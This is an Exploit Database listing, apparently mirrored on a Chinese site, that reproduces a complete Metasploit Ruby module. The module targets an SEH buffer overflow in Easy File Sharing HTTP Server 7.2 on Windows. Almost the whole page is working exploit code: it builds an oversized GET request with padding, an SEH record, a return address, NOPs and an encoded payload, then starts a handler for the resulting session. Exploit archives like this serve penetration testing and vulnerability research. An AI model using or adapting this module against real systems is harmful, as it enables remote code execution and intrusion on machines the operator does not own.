Easy File Sharing HTTP Server 7.2 – Remote Overflow (SEH) (Metasploit)

• Exploit Database
• 19 阅读

• 作者： Metasploit
  日期： 2016-04-05
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/39661/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Seh
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Easy File Sharing HTTP Server 7.2 SEH Overflow',
  'Description'=> %q{
  This module exploits a SEH overflow in the Easy File Sharing FTP Server 7.2 software.
  },
  'Author' => 'Starwarsfan2099 <starwarsfan2099[at]gmail.com>',
  'License'=> MSF_LICENSE,
  'References' =>
  [
  [ 'EDB', '39008' ],
  ],
  'Privileged' => true,
  'DefaultOptions' =>
  {
  'EXITFUNC' => 'thread',
  },
  'Payload'=>
  {
  'Space'=> 390,
  'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
  'StackAdjustment' => -3500,
  },
  'Platform' => 'win',
  'Targets'=>
  [
  [ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x10019798 } ],
  ],
  'DefaultOptions' => {
  'RPORT' => 80
  },
  'DisclosureDate' => 'Dec 2 2015',
  'DefaultTarget'=> 0))
  end
  
  def print_status(msg='')
  super("#{peer} - #{msg}")
  end
  
  def exploit
  connect
  print_status("Sending exploit...")
  sploit = "GET "
  sploit << rand_text_alpha_upper(4061)
  sploit << generate_seh_record(target.ret)
  sploit << make_nops(19)
  sploit << payload.encoded
  sploit << make_nops(7)
  sploit << rand_text_alpha_upper(4500 - 4061 - 4 - 4 - 20 - payload.encoded.length - 20)
  sploit << " HTTP/1.0\r\n\r\n"
  sock.put(sploit)
  print_good("Exploit Sent")
  handler
  disconnect
  end
  end